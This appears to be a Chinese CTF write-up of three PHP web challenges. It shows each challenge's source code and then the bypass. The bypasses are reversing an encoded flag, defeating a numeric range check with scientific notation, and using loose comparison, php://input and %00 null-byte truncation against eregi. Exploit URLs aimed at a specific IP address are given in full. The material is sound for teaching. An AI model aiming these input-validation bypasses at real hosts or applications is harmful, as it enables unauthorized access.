Challenge1
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
<?php
error_reporting(0);
require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';
highlight_file(__FILE__);
?>
使用PHP反跑一下编码解密。
challenge2
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);
本题要求GET请求time,还要求time在60 * 60 * 24 * 30 * 2~60 * 60 * 24 * 30 * 3之间,上传time之后,会等待这个数值时间后才会收到flag,我们不可能真等这么长时间。
看到int强转换,可以考虑科学计数法绕过。
最后的payload:http://47.113.94.15:23112/challenge2.php?time=6e6
等待六秒后得到flag。
challenge3
<?php
error_reporting(0);
echo "<!--challenge3.txt-->";
require __DIR__.'/lib.php';
if(!$_GET['id'])
{
header('Location: challenge3.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
echo $flag;
}
else
{
print "work harder!harder!harder!";
}
?>
stripos函数:查找某个字符在字符串出现的位置。
$data = @file_get_contents($a,'r');
要求把a写入字符串data中
a–>
- 不存在
.
或者.
在开头。 - a写入字符串要为
1112 is a nice lab!
id–>
$id==0
弱等于0成立和!$_GET['id']
结果不能为真,即不为0。
b–>
strlen($b)>5
要求长度大于5substr($b,0,1)
截取b的第一位和111拼接在和1114匹配(eregi),但是又有一个条件说substr($b,0,1)!=4
不能等于4,采取的方法是%00截断
payload:http://47.113.94.15:23113/challenge3.php?id=a&a=php://input&b=%001111121
post:1112 is a nice lab!